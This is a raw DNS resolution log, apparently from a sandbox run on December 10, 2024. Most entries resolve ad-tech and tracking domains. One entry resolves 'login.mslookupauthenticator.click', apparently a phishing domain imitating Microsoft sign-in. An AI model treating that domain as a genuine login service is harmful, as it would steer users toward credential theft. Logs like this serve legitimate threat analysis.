Dec 10, 2024 15:10:49.063128948 CET	1.1.1.1	192.168.2.4	0xcd03	No error (0)	rtd-tm.everesttech.net	rtd.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:49.063128948 CET	1.1.1.1	192.168.2.4	0xcd03	No error (0)	rtd.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:49.108798981 CET	1.1.1.1	192.168.2.4	0xaa5c	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:49.108798981 CET	1.1.1.1	192.168.2.4	0xaa5c	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:49.108798981 CET	1.1.1.1	192.168.2.4	0xaa5c	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:49.108798981 CET	1.1.1.1	192.168.2.4	0xaa5c	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.154.234.207	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:49.108798981 CET	1.1.1.1	192.168.2.4	0xaa5c	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.171.149.245	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:49.108798981 CET	1.1.1.1	192.168.2.4	0xaa5c	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.155.160.118	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:49.108798981 CET	1.1.1.1	192.168.2.4	0xaa5c	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.19.204.64	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:49.108798981 CET	1.1.1.1	192.168.2.4	0xaa5c	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.211.89.170	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:49.108798981 CET	1.1.1.1	192.168.2.4	0xaa5c	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.240.123.106	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:49.108798981 CET	1.1.1.1	192.168.2.4	0xaa5c	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.76.51.91	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:49.108798981 CET	1.1.1.1	192.168.2.4	0xaa5c	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.249.77.207	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:49.109641075 CET	1.1.1.1	192.168.2.4	0x6262	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:49.109641075 CET	1.1.1.1	192.168.2.4	0x6262	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:49.109641075 CET	1.1.1.1	192.168.2.4	0x6262	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:51.133630991 CET	1.1.1.1	192.168.2.4	0x145f	No error (0)	servedby.flashtalking.com	servedby.flashtalking.com-v1.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:51.134155989 CET	1.1.1.1	192.168.2.4	0xb0cb	No error (0)	servedby.flashtalking.com	servedby.flashtalking.com-v1.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:51.537695885 CET	1.1.1.1	192.168.2.4	0x473d	No error (0)	a.tribalfusion.com		172.64.150.63	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:51.537695885 CET	1.1.1.1	192.168.2.4	0x473d	No error (0)	a.tribalfusion.com		104.18.37.193	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:51.540611982 CET	1.1.1.1	192.168.2.4	0xbfb6	No error (0)	a.tribalfusion.com			65	IN (0x0001)	false
Dec 10, 2024 15:10:52.754728079 CET	1.1.1.1	192.168.2.4	0x9eb8	No error (0)	cms.analytics.yahoo.com	dcs-ups.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:52.754776955 CET	1.1.1.1	192.168.2.4	0x9d66	No error (0)	cms.analytics.yahoo.com	dcs-ups.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:52.754776955 CET	1.1.1.1	192.168.2.4	0x9d66	No error (0)	dcs-ups.g03.yahoodns.net		188.125.88.204	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:52.754776955 CET	1.1.1.1	192.168.2.4	0x9d66	No error (0)	dcs-ups.g03.yahoodns.net		188.125.88.206	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:52.937068939 CET	1.1.1.1	192.168.2.4	0xe4a2	No error (0)	px.owneriq.net	wildcard.owneriq.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:52.982122898 CET	1.1.1.1	192.168.2.4	0x30ce	No error (0)	jadserve.postrelease.com	jadserve.postrelease.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:53.042224884 CET	1.1.1.1	192.168.2.4	0xcd52	No error (0)	px.owneriq.net	wildcard.owneriq.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:53.079066992 CET	1.1.1.1	192.168.2.4	0xb8f2	No error (0)	jadserve.postrelease.com	jadserve.postrelease.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:53.103570938 CET	1.1.1.1	192.168.2.4	0x447e	No error (0)	bttrack.com		192.132.33.69	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:53.103570938 CET	1.1.1.1	192.168.2.4	0x447e	No error (0)	bttrack.com		192.132.33.68	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:53.103570938 CET	1.1.1.1	192.168.2.4	0x447e	No error (0)	bttrack.com		192.132.33.67	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:53.108987093 CET	1.1.1.1	192.168.2.4	0xb4ff	No error (0)	ds.reson8.com	ds.reson8.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:53.121238947 CET	1.1.1.1	192.168.2.4	0x7173	No error (0)	ds.reson8.com	ds.reson8.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:53.416552067 CET	1.1.1.1	192.168.2.4	0x91b5	No error (0)	s.tribalfusion.com			65	IN (0x0001)	false
Dec 10, 2024 15:10:53.418128967 CET	1.1.1.1	192.168.2.4	0xdc62	No error (0)	s.tribalfusion.com		104.18.37.193	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:53.418128967 CET	1.1.1.1	192.168.2.4	0xdc62	No error (0)	s.tribalfusion.com		172.64.150.63	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:54.122649908 CET	1.1.1.1	192.168.2.4	0x5d1f	No error (0)	dmpsync.3lift.com	eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:54.122649908 CET	1.1.1.1	192.168.2.4	0x5d1f	No error (0)	eb2.3lift.com	eu-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:54.122649908 CET	1.1.1.1	192.168.2.4	0x5d1f	No error (0)	eu-eb2.3lift.com		76.223.111.18	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:54.122649908 CET	1.1.1.1	192.168.2.4	0x5d1f	No error (0)	eu-eb2.3lift.com		13.248.245.213	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:54.156403065 CET	1.1.1.1	192.168.2.4	0xf16c	No error (0)	dmpsync.3lift.com	eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:54.156403065 CET	1.1.1.1	192.168.2.4	0xf16c	No error (0)	eb2.3lift.com	eu-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:55.006736040 CET	1.1.1.1	192.168.2.4	0x10b0	No error (0)	ups.analytics.yahoo.com	dcs-ups.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:55.006736040 CET	1.1.1.1	192.168.2.4	0x10b0	No error (0)	dcs-ups.g03.yahoodns.net		188.125.88.204	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:55.006736040 CET	1.1.1.1	192.168.2.4	0x10b0	No error (0)	dcs-ups.g03.yahoodns.net		188.125.88.206	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:55.007462978 CET	1.1.1.1	192.168.2.4	0xc094	No error (0)	ups.analytics.yahoo.com	dcs-ups.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:55.208626032 CET	1.1.1.1	192.168.2.4	0xcf16	No error (0)	ag.innovid.com	ag-6-split.ag.innovid.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:55.208626032 CET	1.1.1.1	192.168.2.4	0xcf16	No error (0)	aragorn-oreg-prod.inbake.com	aragorn-prod-or-acai-lb.inbake.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:55.208626032 CET	1.1.1.1	192.168.2.4	0xcf16	No error (0)	aragorn-prod-or-acai-lb.inbake.com		35.85.18.98	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:55.208626032 CET	1.1.1.1	192.168.2.4	0xcf16	No error (0)	aragorn-prod-or-acai-lb.inbake.com		44.240.191.224	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:55.208626032 CET	1.1.1.1	192.168.2.4	0xcf16	No error (0)	aragorn-prod-or-acai-lb.inbake.com		54.148.212.179	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:55.208626032 CET	1.1.1.1	192.168.2.4	0xcf16	No error (0)	aragorn-prod-or-acai-lb.inbake.com		52.27.193.239	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:55.208626032 CET	1.1.1.1	192.168.2.4	0xcf16	No error (0)	aragorn-prod-or-acai-lb.inbake.com		52.37.151.12	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:55.208626032 CET	1.1.1.1	192.168.2.4	0xcf16	No error (0)	aragorn-prod-or-acai-lb.inbake.com		54.203.151.39	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:55.208626032 CET	1.1.1.1	192.168.2.4	0xcf16	No error (0)	aragorn-prod-or-acai-lb.inbake.com		44.236.53.15	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:55.208626032 CET	1.1.1.1	192.168.2.4	0xcf16	No error (0)	aragorn-prod-or-acai-lb.inbake.com		44.238.65.52	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:55.484177113 CET	1.1.1.1	192.168.2.4	0xb091	No error (0)	rtb.adentifi.com		44.216.225.197	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:55.484177113 CET	1.1.1.1	192.168.2.4	0xb091	No error (0)	rtb.adentifi.com		35.171.118.111	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:55.484177113 CET	1.1.1.1	192.168.2.4	0xb091	No error (0)	rtb.adentifi.com		52.22.144.206	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:55.484177113 CET	1.1.1.1	192.168.2.4	0xb091	No error (0)	rtb.adentifi.com		100.29.162.232	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:55.484177113 CET	1.1.1.1	192.168.2.4	0xb091	No error (0)	rtb.adentifi.com		23.20.243.197	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:55.484177113 CET	1.1.1.1	192.168.2.4	0xb091	No error (0)	rtb.adentifi.com		3.222.19.56	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:55.487581015 CET	1.1.1.1	192.168.2.4	0x8d1a	No error (0)	jadserve.postrelease.com	jadserve.postrelease.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:55.488214016 CET	1.1.1.1	192.168.2.4	0x90c1	No error (0)	jadserve.postrelease.com	jadserve.postrelease.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:55.696974993 CET	1.1.1.1	192.168.2.4	0x3f72	No error (0)	ag.innovid.com	ag-6-split.ag.innovid.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:55.696974993 CET	1.1.1.1	192.168.2.4	0x3f72	No error (0)	aragorn-oreg-prod.inbake.com	aragorn-prod-or-acai-lb.inbake.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:56.907881975 CET	1.1.1.1	192.168.2.4	0x625a	No error (0)	sync.crwdcntrl.net		3.1.88.234	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:56.907881975 CET	1.1.1.1	192.168.2.4	0x625a	No error (0)	sync.crwdcntrl.net		13.228.48.14	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:56.907881975 CET	1.1.1.1	192.168.2.4	0x625a	No error (0)	sync.crwdcntrl.net		52.76.92.93	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:56.907881975 CET	1.1.1.1	192.168.2.4	0x625a	No error (0)	sync.crwdcntrl.net		13.228.141.68	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:56.907881975 CET	1.1.1.1	192.168.2.4	0x625a	No error (0)	sync.crwdcntrl.net		18.141.252.181	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:56.907881975 CET	1.1.1.1	192.168.2.4	0x625a	No error (0)	sync.crwdcntrl.net		13.228.52.238	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:56.907881975 CET	1.1.1.1	192.168.2.4	0x625a	No error (0)	sync.crwdcntrl.net		52.220.45.219	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:56.907881975 CET	1.1.1.1	192.168.2.4	0x625a	No error (0)	sync.crwdcntrl.net		13.250.84.149	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:57.147821903 CET	1.1.1.1	192.168.2.4	0xffcf	No error (0)	sync-tm.everesttech.net	sync.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:57.147821903 CET	1.1.1.1	192.168.2.4	0xffcf	No error (0)	sync.tubemogul.com	syncf.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:57.147821903 CET	1.1.1.1	192.168.2.4	0xffcf	No error (0)	syncf.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:57.148590088 CET	1.1.1.1	192.168.2.4	0x2fe	No error (0)	sync-tm.everesttech.net	sync.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:57.148590088 CET	1.1.1.1	192.168.2.4	0x2fe	No error (0)	sync.tubemogul.com	syncf.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:57.148590088 CET	1.1.1.1	192.168.2.4	0x2fe	No error (0)	syncf.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:59.720376015 CET	1.1.1.1	192.168.2.4	0x7f9a	No error (0)	rtd-tm.everesttech.net	rtd.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:59.720376015 CET	1.1.1.1	192.168.2.4	0x7f9a	No error (0)	rtd.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:59.721551895 CET	1.1.1.1	192.168.2.4	0x3d63	No error (0)	rtd-tm.everesttech.net	rtd.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:59.721551895 CET	1.1.1.1	192.168.2.4	0x3d63	No error (0)	rtd.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:11:01.260050058 CET	1.1.1.1	192.168.2.4	0xac42	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:11:01.260544062 CET	1.1.1.1	192.168.2.4	0x1180	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:11:01.437134027 CET	1.1.1.1	192.168.2.4	0xd351	No error (0)	login.mslookupauthenticator.click		34.200.203.57	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:01.515678883 CET	1.1.1.1	192.168.2.4	0x9b5c	No error (0)	dsum-sec.casalemedia.com		104.18.27.193	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:01.515678883 CET	1.1.1.1	192.168.2.4	0x9b5c	No error (0)	dsum-sec.casalemedia.com		104.18.26.193	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:01.516545057 CET	1.1.1.1	192.168.2.4	0x9801	No error (0)	dsum-sec.casalemedia.com			65	IN (0x0001)	false
Dec 10, 2024 15:11:01.793817043 CET	1.1.1.1	192.168.2.4	0x421e	No error (0)	us-u.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:01.793817043 CET	1.1.1.1	192.168.2.4	0x421e	No error (0)	us-u.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:02.538516998 CET	1.1.1.1	192.168.2.4	0xb698	No error (0)	trc.taboola.com	dualstack.tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:11:02.538516998 CET	1.1.1.1	192.168.2.4	0xb698	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:02.538516998 CET	1.1.1.1	192.168.2.4	0xb698	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:02.538516998 CET	1.1.1.1	192.168.2.4	0xb698	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:02.538516998 CET	1.1.1.1	192.168.2.4	0xb698	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:02.547028065 CET	1.1.1.1	192.168.2.4	0x5cea	No error (0)	trc.taboola.com	dualstack.tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:11:02.614998102 CET	1.1.1.1	192.168.2.4	0x7343	No error (0)	cm.g.doubleclick.net		172.217.17.34	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:03.047204971 CET	1.1.1.1	192.168.2.4	0x8de6	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:11:03.047204971 CET	1.1.1.1	192.168.2.4	0x8de6	No error (0)	image2v2.pubmnet.com	pug-sin12.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:11:03.047681093 CET	1.1.1.1	192.168.2.4	0x27ed	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:11:03.047681093 CET	1.1.1.1	192.168.2.4	0x27ed	No error (0)	image2v2.pubmnet.com	pug-sg4c.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:11:03.047681093 CET	1.1.1.1	192.168.2.4	0x27ed	No error (0)	pug-sg4c.pubmnet.com		67.199.150.86	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:03.441809893 CET	1.1.1.1	192.168.2.4	0x177	No error (0)	ib.adnxs.com	xandr-g-geo.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:11:03.441809893 CET	1.1.1.1	192.168.2.4	0x177	No error (0)	ib.anycast.adnxs.com		185.89.210.180	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:03.441809893 CET	1.1.1.1	192.168.2.4	0x177	No error (0)	ib.anycast.adnxs.com		185.89.210.153	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:03.441809893 CET	1.1.1.1	192.168.2.4	0x177	No error (0)	ib.anycast.adnxs.com		185.89.211.116	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:03.441809893 CET	1.1.1.1	192.168.2.4	0x177	No error (0)	ib.anycast.adnxs.com		185.89.210.141	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:03.441809893 CET	1.1.1.1	192.168.2.4	0x177	No error (0)	ib.anycast.adnxs.com		185.89.210.212	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:03.441809893 CET	1.1.1.1	192.168.2.4	0x177	No error (0)	ib.anycast.adnxs.com		185.89.210.244	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:03.441809893 CET	1.1.1.1	192.168.2.4	0x177	No error (0)	ib.anycast.adnxs.com		185.89.210.20	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:03.441809893 CET	1.1.1.1	192.168.2.4	0x177	No error (0)	ib.anycast.adnxs.com		185.89.210.122	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:03.441809893 CET	1.1.1.1	192.168.2.4	0x177	No error (0)	ib.anycast.adnxs.com		185.89.211.84	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:03.441809893 CET	1.1.1.1	192.168.2.4	0x177	No error (0)	ib.anycast.adnxs.com		185.89.210.82	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:03.441809893 CET	1.1.1.1	192.168.2.4	0x177	No error (0)	ib.anycast.adnxs.com		185.89.210.46	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:03.441809893 CET	1.1.1.1	192.168.2.4	0x177	No error (0)	ib.anycast.adnxs.com		185.89.210.90	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:03.850131035 CET	1.1.1.1	192.168.2.4	0xad13	No error (0)	sync.srv.stackadapt.com		3.219.79.107	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:03.850131035 CET	1.1.1.1	192.168.2.4	0xad13	No error (0)	sync.srv.stackadapt.com		54.156.21.112	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:03.850131035 CET	1.1.1.1	192.168.2.4	0xad13	No error (0)	sync.srv.stackadapt.com		52.86.216.144	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:03.850131035 CET	1.1.1.1	192.168.2.4	0xad13	No error (0)	sync.srv.stackadapt.com		3.214.248.204	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:03.850131035 CET	1.1.1.1	192.168.2.4	0xad13	No error (0)	sync.srv.stackadapt.com		52.200.38.60	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:03.850131035 CET	1.1.1.1	192.168.2.4	0xad13	No error (0)	sync.srv.stackadapt.com		3.211.75.57	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:03.850131035 CET	1.1.1.1	192.168.2.4	0xad13	No error (0)	sync.srv.stackadapt.com		52.71.40.119	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:03.850131035 CET	1.1.1.1	192.168.2.4	0xad13	No error (0)	sync.srv.stackadapt.com		34.234.109.98	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:03.859601974 CET	1.1.1.1	192.168.2.4	0xcbf6	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:11:03.861438036 CET	1.1.1.1	192.168.2.4	0x2b44	No error (0)	pixel.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:11:04.224776983 CET	1.1.1.1	192.168.2.4	0x374b	Name error (3)	sync.search.spotxchange.com	none	none	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:04.225100040 CET	1.1.1.1	192.168.2.4	0xf73e	Name error (3)	sync.search.spotxchange.com	none	none	65	IN (0x0001)	false
Dec 10, 2024 15:11:04.367028952 CET	1.1.1.1	192.168.2.4	0xe6e8	Name error (3)	sync.search.spotxchange.com	none	none	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:04.390440941 CET	1.1.1.1	192.168.2.4	0x15f4	No error (0)	trc.taboola.com	dualstack.tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:11:04.390487909 CET	1.1.1.1	192.168.2.4	0xd02e	No error (0)	trc.taboola.com	dualstack.tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:11:04.390487909 CET	1.1.1.1	192.168.2.4	0xd02e	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:04.390487909 CET	1.1.1.1	192.168.2.4	0xd02e	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:04.390487909 CET	1.1.1.1	192.168.2.4	0xd02e	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:04.390487909 CET	1.1.1.1	192.168.2.4	0xd02e	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:05.277213097 CET	1.1.1.1	192.168.2.4	0xb31e	No error (0)	dsum-sec.casalemedia.com		104.18.26.193	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:05.277213097 CET	1.1.1.1	192.168.2.4	0xb31e	No error (0)	dsum-sec.casalemedia.com		104.18.27.193	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:05.277663946 CET	1.1.1.1	192.168.2.4	0xbd86	No error (0)	dsum-sec.casalemedia.com			65	IN (0x0001)	false
Dec 10, 2024 15:11:05.374618053 CET	1.1.1.1	192.168.2.4	0x4c06	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:11:05.374618053 CET	1.1.1.1	192.168.2.4	0x4c06	No error (0)	star-mini.c10r.facebook.com			65	IN (0x0001)	false
Dec 10, 2024 15:11:05.374618053 CET	1.1.1.1	192.168.2.4	0x4c06	No error (0)	star-mini.c10r.facebook.com			65	IN (0x0001)	false
Dec 10, 2024 15:11:05.380026102 CET	1.1.1.1	192.168.2.4	0x3644	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:11:05.380026102 CET	1.1.1.1	192.168.2.4	0x3644	No error (0)	star-mini.c10r.facebook.com		157.240.195.35	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:05.437237024 CET	1.1.1.1	192.168.2.4	0x19bb	No error (0)	us-u.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:05.437237024 CET	1.1.1.1	192.168.2.4	0x19bb	No error (0)	us-u.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:05.738307953 CET	1.1.1.1	192.168.2.4	0xa00f	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:11:05.738307953 CET	1.1.1.1	192.168.2.4	0xa00f	No error (0)	image2v2.pubmnet.com	pug-sg4c.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:11:05.738307953 CET	1.1.1.1	192.168.2.4	0xa00f	No error (0)	pug-sg4c.pubmnet.com		67.199.150.86	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:11:05.741780996 CET	1.1.1.1	192.168.2.4	0x6794	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:11:05.741780996 CET	1.1.1.1	192.168.2.4	0x6794	No error (0)	image2v2.pubmnet.com	pug-sin12.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:11:07.733654976 CET	1.1.1.1	192.168.2.4	0x470c	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:11:07.733654976 CET	1.1.1.1	192.168.2.4	0x470c	No error (0)	star-mini.c10r.facebook.com			65	IN (0x0001)	false
Dec 10, 2024 15:11:07.733654976 CET	1.1.1.1	192.168.2.4	0x470c	No error (0)	star-mini.c10r.facebook.com			65	IN (0x0001)	false
Dec 10, 2024 15:11:07.734178066 CET	1.1.1.1	192.168.2.4	0x5bac	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
